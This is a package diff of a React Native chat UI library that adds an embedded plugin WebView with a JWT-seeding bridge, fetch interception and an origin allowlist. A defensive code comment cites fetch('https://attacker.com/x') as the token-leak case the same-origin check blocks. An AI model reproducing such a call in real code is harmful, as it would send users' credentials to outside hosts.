@ateam-ai-mobile/ui 0.1.0 → 0.1.1

package/dist/index.mjs

@@ -1,20 +1,20 @@
 // src/AdasChatScreen.tsx
-import { useCallback as useCallback3, useEffect as useEffect3, useMemo, useRef as useRef3, useState as useState4 } from "react";
+import { useCallback as useCallback5, useEffect as useEffect6, useMemo as useMemo3, useRef as useRef4, useState as useState6 } from "react";
 import {
   FlatList,
   KeyboardAvoidingView,
-  Platform as Platform5,
+  Platform as Platform6,
   RefreshControl,
-  StyleSheet as StyleSheet8,
-  View as View8
+  StyleSheet as StyleSheet10,
+  View as View11
 } from "react-native";
-import { ada as ada5, useChatStore, pluginCommandEmitter } from "@ateam-ai-mobile/core";
+import { ada as ada7, useChatStore, pluginCommandEmitter as pluginCommandEmitter3 } from "@ateam-ai-mobile/core";
 
 // src/chat/MessageBubble.tsx
-import { useState as useState2, useCallback } from "react";
-import { View as View4, Text as Text4, Pressable as Pressable2, StyleSheet as StyleSheet4, Image, Platform as Platform3 } from "react-native";
+import { useState as useState4, useCallback as useCallback3 } from "react";
+import { View as View7, Text as Text6, Pressable as Pressable3, StyleSheet as StyleSheet6, Image, Platform as Platform4 } from "react-native";
 import Markdown from "react-native-markdown-display";
-import { TABLE_BLOCK_OPEN, TABLE_BLOCK_CLOSE, getConfig, ada as ada4, borderRadius as borderRadius3, fontSize as fontSize4 } from "@ateam-ai-mobile/core";
+import { TABLE_BLOCK_OPEN, TABLE_BLOCK_CLOSE, getConfig as getConfig2, ada as ada6, borderRadius as borderRadius3, fontSize as fontSize4 } from "@ateam-ai-mobile/core";
 import { AdaOrb, getHaptics as getHaptics2 } from "@ateam-ai-mobile/plugin-runtime";
 
 // src/chat/JobProgressBar.tsx
@@ -182,9 +182,9 @@ var styles = StyleSheet.create({
 });
 
 // src/chat/UIActionsRow.tsx
-import { View as View2, Text as Text2, Pressable, StyleSheet as StyleSheet2, Platform } from "react-native";
-import { ada as ada2, fontSize as fontSize2 } from "@ateam-ai-mobile/core";
-import { useSurfaceStore, getHaptics } from "@ateam-ai-mobile/plugin-runtime";
+import { View as View5, Text as Text4, Pressable as Pressable2, StyleSheet as StyleSheet4, Platform as Platform2 } from "react-native";
+import { ada as ada4, fontSize as fontSize2 } from "@ateam-ai-mobile/core";
+import { useSurfaceStore as useSurfaceStore2, getHaptics } from "@ateam-ai-mobile/plugin-runtime";
 
 // src/providers.ts
 var _clipboard = null;
@@ -201,1503 +201,1562 @@ function setUIActionNavigator(navigate) {
 function getUIActionNavigator() {
   return _navigator;
 }
+var _extraHosts = null;
+function setPluginWebViewExtraHosts(getter) {
+  _extraHosts = getter;
+}
+function getPluginWebViewExtraHosts() {
+  return _extraHosts;
+}
 
-// src/chat/UIActionsRow.tsx
-import { jsx as jsx2, jsxs as jsxs2 } from "react/jsx-runtime";
-var fontFam = Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
-var ICON_MAP = {
-  timer: "\u23F1",
-  memory: "\u{1F9E0}",
-  calendar: "\u{1F4C5}",
-  home: "\u{1F3E0}",
-  bell: "\u{1F514}",
-  star: "\u2B50",
-  bolt: "\u26A1"
-};
-function UIActionsRow({ actions }) {
-  if (!Array.isArray(actions) || actions.length === 0) return null;
-  const handlePress = (a) => {
-    getHaptics()?.selection();
-    const id = a.pluginId || a.target;
-    if (!id) return;
-    const focus = a.payload?.id || a.payload?.entity_id || a.payload?.focusId;
-    const surface = useSurfaceStore.getState().manifests[id];
-    if (surface) {
-      useSurfaceStore.getState().show(id, focus ? { focus } : void 0);
-      return;
-    }
-    const params = {};
-    if (focus) params.focus = String(focus);
-    if (a.intent === "suggested_action" && a.payload?.tool) {
-      params.tool = String(a.payload.tool);
-      if (a.payload?.args) {
+// src/plugin/WidgetHost.tsx
+import { useEffect as useEffect4 } from "react";
+import { create } from "zustand";
+import { pluginCommandEmitter as pluginCommandEmitter2 } from "@ateam-ai-mobile/core";
+import { useSurfaceStore } from "@ateam-ai-mobile/plugin-runtime";
+
+// src/plugin/PluginSurface.tsx
+import { useEffect as useEffect3, useState as useState3 } from "react";
+import { View as View4, ActivityIndicator as ActivityIndicator3 } from "react-native";
+import { ada as ada3 } from "@ateam-ai-mobile/core";
+import {
+  getPlugin,
+  SurfaceDrawer,
+  SurfaceFullscreen
+} from "@ateam-ai-mobile/plugin-runtime";
+
+// src/plugin/Plugin.tsx
+import React, { useMemo as useMemo2 } from "react";
+import { View as View3, Text as Text3, Pressable, ActivityIndicator as ActivityIndicator2, StyleSheet as StyleSheet3 } from "react-native";
+import { getTenant as getTenant3, getUser, colors } from "@ateam-ai-mobile/core";
+import {
+  usePlugin,
+  useNativeBridge,
+  usePluginTheme,
+  getPluginNative,
+  gatePluginNative
+} from "@ateam-ai-mobile/plugin-runtime";
+
+// src/plugin/EmbeddedPluginWebView.tsx
+import { useState as useState2, useMemo, useCallback as useCallback2 } from "react";
+import { View as View2, Text as Text2, ActivityIndicator, StyleSheet as StyleSheet2, Platform } from "react-native";
+import { WebView } from "react-native-webview";
+import { getConfig, getCoreApiUrl, getVoiceApiUrl, getTenant as getTenant2, getToken, ada as ada2 } from "@ateam-ai-mobile/core";
+import { resolvePluginUrl } from "@ateam-ai-mobile/plugin-runtime";
+
+// src/plugin/usePluginBridge.ts
+import { useCallback, useEffect as useEffect2, useRef as useRef2 } from "react";
+import {
+  getTenant,
+  connectorCall,
+  mcpFetch,
+  mcpToolCall,
+  postCommandResult,
+  pluginCommandEmitter
+} from "@ateam-ai-mobile/core";
+function usePluginBridge(pluginId, connectorId, commandBufferRef, wsRef) {
+  const webViewRef = useRef2(null);
+  const sendInit = useCallback(() => {
+    const msg = JSON.stringify({
+      source: "adas-host",
+      pluginId,
+      message: {
+        type: "init",
+        payload: {
+          tenant: getTenant(),
+          connectorId: connectorId || null,
+          mcpEndpoint: null,
+          slug: null,
+          skillSlug: null
+        }
+      }
+    });
+    webViewRef.current?.postMessage(msg);
+  }, [pluginId, connectorId]);
+  const sendToPlugin = useCallback(
+    (type, payload) => {
+      const msg = JSON.stringify({
+        source: "adas-host",
+        message: { type, payload }
+      });
+      webViewRef.current?.postMessage(msg);
+    },
+    []
+  );
+  const dispatchToWebView = useCallback((cmd) => {
+    if (cmd.command === "__focus") return;
+    const msg = JSON.stringify({
+      source: "adas-host",
+      pluginId,
+      message: {
+        type: "plugin.command",
+        payload: {
+          command: cmd.command,
+          args: cmd.args,
+          correlationId: cmd.correlationId
+        }
+      }
+    });
+    webViewRef.current?.postMessage(msg);
+  }, [pluginId]);
+  useEffect2(() => {
+    const unsub = pluginCommandEmitter.on("plugin-command", (cmd) => {
+      if (cmd.pluginId !== pluginId) return;
+      dispatchToWebView(cmd);
+    });
+    return unsub;
+  }, [pluginId, dispatchToWebView]);
+  useEffect2(() => {
+    if (!commandBufferRef) return;
+    const timer = setTimeout(() => {
+      const buf = commandBufferRef.current;
+      const remaining = [];
+      for (const cmd of buf) {
+        if (cmd.pluginId === pluginId) {
+          dispatchToWebView(cmd);
+        } else {
+          remaining.push(cmd);
+        }
+      }
+      commandBufferRef.current = remaining;
+    }, 1e3);
+    return () => clearTimeout(timer);
+  }, [pluginId, commandBufferRef, dispatchToWebView]);
+  const handleMessage = useCallback(
+    async (event) => {
+      let data;
+      try {
+        data = JSON.parse(event.nativeEvent.data);
+      } catch {
+        return;
+      }
+      if (data.source !== "adas-plugin") return;
+      const action = data.message?.action || data.action;
+      const payload = data.message?.payload || data.payload;
+      const type = data.message?.type || data.type;
+      if (action === "mcp-fetch" && payload?.requestId) {
+        const { requestId, body } = payload;
         try {
-          params.args = JSON.stringify(a.payload.args);
-        } catch {
+          const result = await mcpFetch(body);
+          sendToPlugin("mcp-fetch-result", { requestId, result, error: null });
+        } catch (err) {
+          console.warn("[PluginBridge] mcp-fetch ERROR:", err.message);
+          sendToPlugin("mcp-fetch-result", { requestId, result: null, error: err.message });
         }
+        return;
       }
-    }
-    if (a.intent === "quick_toggle" && a.payload?.verb) {
-      params.verb = String(a.payload.verb);
-    }
-    const navigate = getUIActionNavigator();
-    if (!navigate) {
-      console.warn("[UIActionsRow] no navigator registered \u2014 call setUIActionNavigator() in the host to handle plugin chips");
-      return;
-    }
-    navigate({ pluginId: id, params });
+      if (action === "mcp-call" && payload?.requestId) {
+        const { requestId, toolName, args: callArgs } = payload;
+        if (toolName) {
+          try {
+            const rpcResponse = await mcpToolCall(toolName, callArgs || {});
+            const result = rpcResponse?.result ?? rpcResponse;
+            sendToPlugin("mcp-result", { requestId, result, error: null });
+          } catch (err) {
+            sendToPlugin("mcp-result", { requestId, result: null, error: err.message });
+          }
+          return;
+        }
+        const cId = payload.connectorId || callArgs?.connectorId || callArgs?.params?.connectorId;
+        const tool = payload.tool || callArgs?.tool || callArgs?.params?.tool;
+        const toolArgs = payload.args || callArgs?.args || callArgs?.params?.args || {};
+        if (!cId || !tool) {
+          console.error(`[PluginBridge] mcp-call missing params \u2014 connectorId: ${cId}, tool: ${tool}`);
+          sendToPlugin("mcp-result", { requestId, result: null, error: `Missing connectorId or tool in mcp-call. Got connectorId=${cId}, tool=${tool}` });
+          return;
+        }
+        try {
+          const data2 = await connectorCall(cId, tool, toolArgs);
+          if (data2.ok) {
+            sendToPlugin("mcp-result", { requestId, result: data2.result, error: null });
+          } else {
+            sendToPlugin("mcp-result", { requestId, result: null, error: data2.error || "MCP call failed" });
+          }
+        } catch (err) {
+          sendToPlugin("mcp-result", { requestId, result: null, error: err.message });
+        }
+        return;
+      }
+      if (action === "close") {
+        pluginCommandEmitter.emit("plugin-close", { pluginId });
+        return;
+      }
+      if (type === "plugin.command.result" && payload?.correlationId) {
+        const ws = wsRef?.current;
+        if (ws && ws.readyState === WebSocket.OPEN) {
+          try {
+            ws.send(JSON.stringify({
+              type: "plugin-command-result",
+              correlationId: payload.correlationId,
+              result: payload.result,
+              error: payload.error
+            }));
+          } catch (err) {
+            console.warn("[PluginBridge] WS send failed, falling back to POST:", err.message);
+            await postCommandResult(payload.correlationId, payload.result, payload.error).catch(() => {
+            });
+          }
+        } else {
+          try {
+            await postCommandResult(payload.correlationId, payload.result, payload.error);
+          } catch (err) {
+            console.warn("[PluginBridge] Failed to send command result:", err.message);
+          }
+        }
+        return;
+      }
+    },
+    [sendToPlugin]
+  );
+  return {
+    webViewRef,
+    sendInit,
+    handleMessage
   };
-  return /* @__PURE__ */ jsx2(View2, { style: styles2.row, children: actions.map((a, i) => {
-    const icon = a.icon ? ICON_MAP[a.icon.toLowerCase()] : null;
-    return /* @__PURE__ */ jsxs2(
-      Pressable,
-      {
-        accessibilityRole: "button",
-        accessibilityLabel: a.description || a.label,
-        onPress: () => handlePress(a),
-        style: ({ pressed }) => [styles2.chip, pressed && styles2.chipPressed],
-        children: [
-          icon ? /* @__PURE__ */ jsx2(Text2, { style: styles2.icon, children: icon }) : null,
-          /* @__PURE__ */ jsx2(Text2, { style: styles2.label, numberOfLines: 1, children: a.label })
-        ]
-      },
-      `${a.target || "a"}-${i}`
-    );
-  }) });
 }
-var styles2 = StyleSheet2.create({
-  row: {
-    flexDirection: "row",
-    flexWrap: "wrap",
-    gap: 6,
-    marginTop: 10
-  },
-  chip: {
-    flexDirection: "row",
-    alignItems: "center",
-    gap: 6,
-    paddingHorizontal: 12,
-    paddingVertical: 6,
-    backgroundColor: ada2.orangeSoft,
-    borderColor: ada2.orange,
-    borderWidth: 1,
-    borderRadius: 14
-  },
-  chipPressed: {
-    backgroundColor: ada2.orange
-  },
-  icon: {
-    fontSize: 12,
-    lineHeight: 14
-  },
-  label: {
-    color: ada2.orangeDeep,
-    fontSize: fontSize2.xs,
-    fontWeight: "600",
-    fontFamily: fontFam
+function buildPluginBridgeJS(jwt, tenant) {
+  return `
+(function() {
+  function _dbg(msg) {
+    console.log('[PluginBridge] ' + msg);
   }
-});
 
-// src/chat/TableCardBlock.tsx
-import { View as View3, Text as Text3, StyleSheet as StyleSheet3, Platform as Platform2 } from "react-native";
-import { ada as ada3, borderRadius as borderRadius2, fontSize as fontSize3, spacing } from "@ateam-ai-mobile/core";
-import { jsx as jsx3, jsxs as jsxs3 } from "react/jsx-runtime";
-var fontFam2 = Platform2.OS === "ios" ? "SF Pro Rounded" : void 0;
-function TableCardBlock({ columns, rows }) {
-  if (!columns?.length || !rows?.length) return null;
-  const [titleCol, ...detailCols] = columns;
-  return /* @__PURE__ */ jsx3(View3, { style: styles3.wrap, children: rows.map((row, i) => {
-    const cells = Array.isArray(row) ? row : [row];
-    const title = cells[0];
-    return /* @__PURE__ */ jsxs3(View3, { style: styles3.card, children: [
-      /* @__PURE__ */ jsx3(Text3, { style: styles3.title, children: String(title ?? "") }),
-      detailCols.length > 0 && /* @__PURE__ */ jsx3(View3, { style: styles3.details, children: detailCols.map((col, ci) => {
-        const value = cells[ci + 1];
-        if (value == null || value === "") return null;
-        return /* @__PURE__ */ jsxs3(View3, { style: styles3.row, children: [
-          /* @__PURE__ */ jsx3(Text3, { style: styles3.label, children: String(col) }),
-          /* @__PURE__ */ jsx3(Text3, { style: styles3.value, children: String(value) })
-        ] }, ci);
-      }) })
-    ] }, i);
-  }) });
-}
-var styles3 = StyleSheet3.create({
-  wrap: {
-    marginVertical: 6,
-    gap: 8
-  },
-  card: {
-    backgroundColor: ada3.paper,
-    borderRadius: borderRadius2.md,
-    borderWidth: 1,
-    borderColor: ada3.border,
-    padding: spacing.md
-  },
-  title: {
-    color: ada3.ink,
-    fontSize: fontSize3.md,
-    fontWeight: "600",
-    fontFamily: fontFam2,
-    letterSpacing: -0.2,
-    marginBottom: 6
-  },
-  details: {
-    gap: 4
-  },
-  row: {
-    flexDirection: "row",
-    alignItems: "flex-start",
-    gap: 8
-  },
-  label: {
-    color: ada3.inkMuted,
-    fontSize: fontSize3.xs,
-    fontFamily: fontFam2,
-    fontWeight: "500",
-    width: 84,
-    textTransform: "uppercase",
-    letterSpacing: 0.6,
-    paddingTop: 2
-  },
-  value: {
-    flex: 1,
-    color: ada3.inkSoft,
-    fontSize: fontSize3.sm,
-    fontFamily: fontFam2,
-    lineHeight: 18
-  }
-});
+  // 1. Seed localStorage. JWT is required by web-shared plugin code
+  //    (cpFeApi.ts etc. read localStorage.adas.jwt directly). Origin lockdown
+  //    lives in EmbeddedPluginWebView (originWhitelist +
+  //    onShouldStartLoadWithRequest) \u2014 not here. Never log the token.
+  try {
+    localStorage.setItem('adas.jwt', ${JSON.stringify(jwt)});
+    localStorage.setItem('adas.tenant', ${JSON.stringify(tenant)});
+    _dbg('localStorage seeded: jwt=' + (${JSON.stringify(jwt)} ? '[present]' : '[absent]') + ' tenant=' + ${JSON.stringify(tenant)});
+  } catch(e) { _dbg('localStorage ERROR: ' + e.message); }
 
-// src/stores/lightboxStore.ts
-import { create } from "zustand";
-var useLightboxStore = create((set) => ({
-  uri: null,
-  show: (uri) => set({ uri }),
-  hide: () => set({ uri: null })
-}));
+  // 2. Intercept ALL fetch calls \u2014 proxy /mcp through the RN bridge
+  var _origFetch = window.fetch.bind(window);
+  var _mcpReqId = 0;
+  var _pendingMcp = {};
 
-// src/chat/MessageBubble.tsx
-import { Fragment, jsx as jsx4, jsxs as jsxs4 } from "react/jsx-runtime";
-var fontFam3 = Platform3.OS === "ios" ? "SF Pro Rounded" : void 0;
-function formatTime(date) {
-  const h = date.getHours();
-  const m = date.getMinutes().toString().padStart(2, "0");
-  return `${h}:${m}`;
-}
-function DaySeparator({ date }) {
-  const today = /* @__PURE__ */ new Date();
-  const yesterday = new Date(today);
-  yesterday.setDate(yesterday.getDate() - 1);
-  let label;
-  if (isSameDay(date, today)) {
-    label = "Today";
-  } else if (isSameDay(date, yesterday)) {
-    label = "Yesterday";
-  } else {
-    label = date.toLocaleDateString(void 0, { weekday: "long", month: "short", day: "numeric" });
-  }
-  return /* @__PURE__ */ jsx4(View4, { style: separatorStyles.container, children: /* @__PURE__ */ jsx4(View4, { style: separatorStyles.pill, children: /* @__PURE__ */ jsx4(Text4, { style: separatorStyles.text, children: label }) }) });
-}
-function isSameDay(a, b) {
-  return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();
-}
-var separatorStyles = StyleSheet4.create({
-  container: {
-    alignItems: "center",
-    marginVertical: 14
-  },
-  pill: {
-    backgroundColor: ada4.paperSoft,
-    paddingHorizontal: 14,
-    paddingVertical: 5,
-    borderRadius: 999
-  },
-  text: {
-    fontSize: 12,
-    fontWeight: "600",
-    color: ada4.inkMuted,
-    letterSpacing: 0.4,
-    fontFamily: fontFam3
-  }
-});
-function MessageBubble({ message }) {
-  const isUser = message.role === "user";
-  const isSystem = message.role === "system";
-  const isNotification = !isUser && message.kind === "notification";
-  const [copied, setCopied] = useState2("");
-  const showCopied = useCallback((label) => {
-    setCopied(label);
-    getHaptics2()?.notification("success");
-    setTimeout(() => setCopied(""), 1500);
-  }, []);
-  const copyText = useCallback(async (text) => {
-    const clipboard = getClipboard();
-    if (!clipboard) return;
-    await clipboard.setString(text);
-    showCopied("Copied!");
-  }, [showCopied]);
-  const handleLongPress = useCallback(() => {
-    copyText(message.content);
-  }, [message.content, copyText]);
-  return /* @__PURE__ */ jsxs4(View4, { style: [styles4.row, isUser && styles4.rowUser], children: [
-    !isUser && !isNotification && /* @__PURE__ */ jsx4(View4, { style: styles4.avatarOrb, children: /* @__PURE__ */ jsx4(
-      AdaOrb,
-      {
-        size: 28,
-        state: message.jobProgress?.status === "running" ? "thinking" : "idle"
-      }
-    ) }),
-    isNotification && /* @__PURE__ */ jsx4(View4, { style: styles4.notificationLeftStripe }),
-    /* @__PURE__ */ jsxs4(
-      Pressable2,
-      {
-        accessibilityRole: "text",
-        accessibilityLabel: `${isUser ? "You" : isNotification ? "Notification" : "Ada"}: ${message.content}`,
-        accessibilityHint: "Long-press to copy",
-        onLongPress: handleLongPress,
-        style: [
-          styles4.bubble,
-          isUser && styles4.bubbleUser,
-          isSystem && styles4.bubbleSystem,
-          isNotification && styles4.bubbleNotification
-        ],
-        children: [
-          isNotification && /* @__PURE__ */ jsxs4(View4, { style: styles4.notificationHeader, children: [
-            /* @__PURE__ */ jsx4(Text4, { style: styles4.notificationHeaderIcon, children: "\u{1F514}" }),
-            /* @__PURE__ */ jsx4(Text4, { style: styles4.notificationHeaderText, children: "Notification" })
-          ] }),
-          message.attachments && message.attachments.length > 0 && /* @__PURE__ */ jsx4(View4, { style: styles4.attachments, children: message.attachments.map((att, i) => att.previewUri ? /* @__PURE__ */ jsx4(
-            Pressable2,
-            {
-              accessibilityRole: "imagebutton",
-              accessibilityLabel: `Photo${att.name ? `: ${att.name}` : ""}. Tap to enlarge.`,
-              onPress: () => useLightboxStore.getState().show(att.previewUri),
-              children: /* @__PURE__ */ jsx4(
-                Image,
-                {
-                  source: {
-                    uri: att.previewUri,
-                    ...att.previewUri.startsWith("http") ? {
-                      headers: { Authorization: `Bearer ${getConfig().tokenProvider.getToken()}` }
-                    } : {}
-                  },
-                  style: styles4.attachmentImage,
-                  resizeMode: "cover",
-                  onError: (e) => console.warn("[Image] Failed to load:", att.previewUri?.slice(0, 100), e.nativeEvent.error)
-                }
-              )
-            },
-            i
-          ) : /* @__PURE__ */ jsx4(View4, { style: styles4.attachmentFile, children: /* @__PURE__ */ jsx4(Text4, { style: styles4.attachmentFileName, numberOfLines: 1, children: att.name }) }, i)) }),
-          isUser ? (
-            // Hide the "See attachment" placeholder when the bubble already shows the photo.
-            message.content && !(message.content === "See attachment" && message.attachments?.length) ? /* @__PURE__ */ jsx4(Text4, { selectable: true, style: styles4.userText, children: message.content }) : null
-          ) : renderAssistantContent(message.content, copyText),
-          !!copied && /* @__PURE__ */ jsx4(View4, { style: styles4.copiedBadge, children: /* @__PURE__ */ jsx4(Text4, { style: styles4.copiedText, children: copied }) }),
-          message.toolCalls && message.toolCalls.length > 0 && /* @__PURE__ */ jsx4(ToolCallsBadge, { calls: message.toolCalls }),
-          message.jobProgress && /* @__PURE__ */ jsx4(JobProgressBar, { progress: message.jobProgress }),
-          !isUser && message.actions && message.actions.length > 0 && /* @__PURE__ */ jsx4(UIActionsRow, { actions: message.actions }),
-          /* @__PURE__ */ jsx4(Text4, { style: [styles4.timeText, isUser && styles4.timeTextUser], children: formatTime(message.timestamp) })
-        ]
-      }
-    ),
-    isUser && /* @__PURE__ */ jsx4(View4, { style: styles4.avatarSpacer })
-  ] });
-}
-function renderAssistantContent(content, copyText) {
-  if (!content) return null;
-  if (!content.includes(TABLE_BLOCK_OPEN)) {
-    return /* @__PURE__ */ jsx4(MarkdownBubble, { content, copyText });
-  }
-  const segments = [];
-  let cursor = 0;
-  while (cursor < content.length) {
-    const open = content.indexOf(TABLE_BLOCK_OPEN, cursor);
-    if (open === -1) {
-      segments.push({ kind: "md", content: content.slice(cursor) });
-      break;
-    }
-    if (open > cursor) {
-      segments.push({ kind: "md", content: content.slice(cursor, open) });
-    }
-    const close = content.indexOf(TABLE_BLOCK_CLOSE, open + TABLE_BLOCK_OPEN.length);
-    if (close === -1) {
-      segments.push({ kind: "md", content: content.slice(open) });
-      break;
-    }
-    const payload = content.slice(open + TABLE_BLOCK_OPEN.length, close);
-    segments.push({ kind: "table", content: payload });
-    cursor = close + TABLE_BLOCK_CLOSE.length;
-  }
-  return /* @__PURE__ */ jsx4(Fragment, { children: segments.map((seg, i) => {
-    if (seg.kind === "md") {
-      const trimmed = seg.content.trim();
-      if (!trimmed) return null;
-      return /* @__PURE__ */ jsx4(MarkdownBubble, { content: seg.content, copyText }, i);
+  window.fetch = function(url, opts) {
+    var urlStr = (typeof url === 'string') ? url : (url && url.url) || '';
+    var method = (opts && opts.method) || 'GET';
+
+    _dbg('FETCH ' + method + ' ' + urlStr.substring(0, 80));
+
+    // Intercept /mcp calls
+    if (urlStr === '/mcp' || urlStr.endsWith('/mcp')) {
+      _dbg('  -> INTERCEPTED /mcp, proxying via RN bridge');
+      return new Promise(function(resolve, reject) {
+        var requestId = 'mcp-f-' + (++_mcpReqId) + '-' + Date.now();
+        _pendingMcp[requestId] = { resolve: resolve, reject: reject };
+        window.ReactNativeWebView.postMessage(JSON.stringify({
+          source: 'adas-plugin',
+          action: 'mcp-fetch',
+          payload: { requestId: requestId, body: opts && opts.body ? opts.body : null }
+        }));
+        setTimeout(function() {
+          if (_pendingMcp[requestId]) {
+            delete _pendingMcp[requestId];
+            _dbg('TIMEOUT mcp-fetch ' + requestId);
+            reject(new Error('MCP fetch timeout (30s)'));
+          }
+        }, 30000);
+      });
     }
+
+    // Inject Authorization header ONLY for same-origin requests. A relative
+    // path resolves against window.location.origin; an absolute URL must
+    // literally match. This stops a plugin from leaking the JWT to a foreign
+    // host via fetch('https://attacker.com/x') or via <base href>.
+    var sameOrigin = false;
     try {
-      const data = JSON.parse(decodeURIComponent(seg.content));
-      return /* @__PURE__ */ jsx4(TableCardBlock, { columns: data.columns, rows: data.rows }, i);
-    } catch {
-      return null;
+      var resolved = new URL(urlStr, window.location.origin);
+      sameOrigin = (resolved.origin === window.location.origin);
+    } catch (_) { sameOrigin = false; }
+    if (sameOrigin) {
+      opts = Object.assign({}, opts || {});
+      var h = opts.headers;
+      if (h instanceof Headers) {
+        if (!h.has('Authorization')) { var jwt = localStorage.getItem('adas.jwt'); if (jwt) h.set('Authorization', 'Bearer ' + jwt); }
+      } else {
+        h = Object.assign({}, h || {});
+        if (!h['Authorization'] && !h['authorization']) { var jwt2 = localStorage.getItem('adas.jwt'); if (jwt2) h['Authorization'] = 'Bearer ' + jwt2; }
+        opts.headers = h;
+      }
     }
-  }) });
-}
-function MarkdownBubble({ content, copyText }) {
-  return /* @__PURE__ */ jsx4(
-    Markdown,
-    {
-      style: markdownStyles,
-      rules: {
-        code_inline: (node) => /* @__PURE__ */ jsx4(
-          Text4,
-          {
-            style: markdownStyles.code_inline,
-            onPress: () => copyText(node.content),
-            children: node.content
-          },
-          node.key
-        ),
-        fence: (node) => /* @__PURE__ */ jsx4(
-          Pressable2,
-          {
-            onPress: () => copyText(node.content),
-            style: markdownStyles.fence,
-            children: /* @__PURE__ */ jsx4(Text4, { style: markdownStyles.fenceText, children: node.content })
-          },
-          node.key
-        )
-      },
-      children: content
+
+    return _origFetch(url, opts).then(function(res) {
+      _dbg('  <- ' + res.status + ' ' + urlStr.substring(0, 60));
+      return res;
+    }).catch(function(err) {
+      _dbg('  <- FETCH ERR: ' + err.message + ' ' + urlStr.substring(0, 40));
+      throw err;
+    });
+  };
+
+  // Handle results from RN host
+  function _handleHostMessage(d) {
+    if (!d || d.source !== 'adas-host') return;
+    var msg = d.message || {};
+
+    // mcp-fetch-result: response to intercepted fetch("/mcp")
+    if (msg.type === 'mcp-fetch-result' && msg.payload) {
+      var p = msg.payload;
+      var pending = _pendingMcp[p.requestId];
+      if (pending) {
+        delete _pendingMcp[p.requestId];
+        if (p.error) {
+          pending.reject(new Error(p.error));
+        } else {
+          pending.resolve(new Response(JSON.stringify(p.result), {
+            status: 200,
+            headers: { 'Content-Type': 'application/json' }
+          }));
+        }
+      }
     }
-  );
+  }
+
+  // 3. Override window.parent.postMessage (plugins use this in iframes)
+  window.parent = window.parent || {};
+  window.parent.postMessage = function(data, origin) {
+    if (data && data.source === 'adas-plugin') {
+      window.ReactNativeWebView.postMessage(JSON.stringify(data));
+    }
+  };
+
+  // 4. Also intercept direct window.postMessage
+  var origPost = window.postMessage.bind(window);
+  window.postMessage = function(data, origin) {
+    if (data && data.source === 'adas-plugin') {
+      window.ReactNativeWebView.postMessage(JSON.stringify(data));
+    }
+    origPost(data, origin);
+  };
+
+  // 5. Forward messages from RN host -> plugin
+  //    iOS: window 'message' event, Android: document 'message' event
+  window.addEventListener('message', function(e) {
+    try {
+      var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
+      if (d && d.source === 'adas-host') {
+        _handleHostMessage(d);
+        if (typeof e.data === 'string') {
+          window.dispatchEvent(new MessageEvent('message', { data: d }));
+        }
+      }
+    } catch(_) {}
+  });
+
+  document.addEventListener('message', function(e) {
+    try {
+      var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
+      _handleHostMessage(d);
+      window.dispatchEvent(new MessageEvent('message', { data: d }));
+    } catch(_) {}
+  });
+
+  _dbg('Bridge JS loaded. Waiting for plugin...');
+  true;
+})();
+`;
 }
-function ToolCallsBadge({ calls }) {
-  const [expanded, setExpanded] = useState2(false);
-  const label = calls.filter((c) => c.name === "send_message_to_skill").map((c) => c.args.skill_name || c.skill).filter(Boolean).join(", ") || "Tool call";
-  return /* @__PURE__ */ jsxs4(View4, { style: styles4.toolCalls, children: [
-    /* @__PURE__ */ jsxs4(Pressable2, { style: styles4.toolToggle, onPress: () => setExpanded(!expanded), children: [
-      /* @__PURE__ */ jsx4(Text4, { style: styles4.toolLabel, children: label }),
-      /* @__PURE__ */ jsx4(Text4, { style: styles4.toolChevron, children: expanded ? "\u25B2" : "\u25BC" })
-    ] }),
-    expanded && calls.map((tc, i) => /* @__PURE__ */ jsxs4(View4, { style: styles4.toolItem, children: [
-      /* @__PURE__ */ jsx4(Text4, { style: styles4.toolName, children: tc.name }),
-      tc.skill && /* @__PURE__ */ jsx4(Text4, { style: styles4.toolSkill, children: tc.skill })
-    ] }, i))
-  ] });
+
+// src/plugin/EmbeddedPluginWebView.tsx
+import { jsx as jsx2, jsxs as jsxs2 } from "react/jsx-runtime";
+function EmbeddedPluginWebView({ pluginId, manifest, commandBufferRef }) {
+  const [error, setError] = useState2(null);
+  const token = getToken();
+  const tenant = getTenant2();
+  const { webViewRef, sendInit, handleMessage } = usePluginBridge(pluginId, manifest._connectorId, commandBufferRef);
+  const url = resolvePluginUrl(manifest, tenant || void 0);
+  const bridgeJS = buildPluginBridgeJS(token || "", tenant || "");
+  const computeAllowedHosts = useCallback2(() => {
+    const hosts = /* @__PURE__ */ new Set();
+    const urls = [getCoreApiUrl()];
+    if (getConfig().voiceUrl) urls.push(getVoiceApiUrl());
+    try {
+      urls.push(...getPluginWebViewExtraHosts()?.() || []);
+    } catch {
+    }
+    for (const u of urls) {
+      try {
+        hosts.add(new URL(u).hostname);
+      } catch {
+      }
+    }
+    return hosts;
+  }, []);
+  const isAllowedPluginUrl = useCallback2((rawUrl) => {
+    if (!rawUrl) return false;
+    let parsed;
+    try {
+      parsed = new URL(rawUrl);
+    } catch {
+      return false;
+    }
+    if (parsed.protocol !== "https:" && parsed.protocol !== "http:") return false;
+    if (parsed.protocol === "http:") return false;
+    return computeAllowedHosts().has(parsed.hostname);
+  }, [computeAllowedHosts]);
+  const originWhitelist = useMemo(
+    () => Array.from(computeAllowedHosts()).map((h) => `https://${h}`),
+    [computeAllowedHosts]
+  );
+  if (error) {
+    return /* @__PURE__ */ jsx2(View2, { style: styles2.center, children: /* @__PURE__ */ jsx2(Text2, { style: styles2.errorText, children: error }) });
+  }
+  return /* @__PURE__ */ jsx2(View2, { style: styles2.container, children: /* @__PURE__ */ jsx2(
+    WebView,
+    {
+      ref: webViewRef,
+      source: { uri: url },
+      style: styles2.webview,
+      javaScriptEnabled: true,
+      domStorageEnabled: true,
+      allowsInlineMediaPlayback: true,
+      mediaPlaybackRequiresUserAction: false,
+      mixedContentMode: "never",
+      originWhitelist,
+      allowsBackForwardNavigationGestures: false,
+      setSupportMultipleWindows: false,
+      javaScriptCanOpenWindowsAutomatically: false,
+      onShouldStartLoadWithRequest: (req) => {
+        if (!isAllowedPluginUrl(req.url)) {
+          console.warn(`[EmbeddedPluginWebView] BLOCKED nav to disallowed origin: ${req.url}`);
+          return false;
+        }
+        return true;
+      },
+      injectedJavaScriptBeforeContentLoaded: bridgeJS,
+      onMessage: handleMessage,
+      onLoad: () => {
+        setTimeout(sendInit, 100);
+        setTimeout(sendInit, 500);
+        setTimeout(sendInit, 1200);
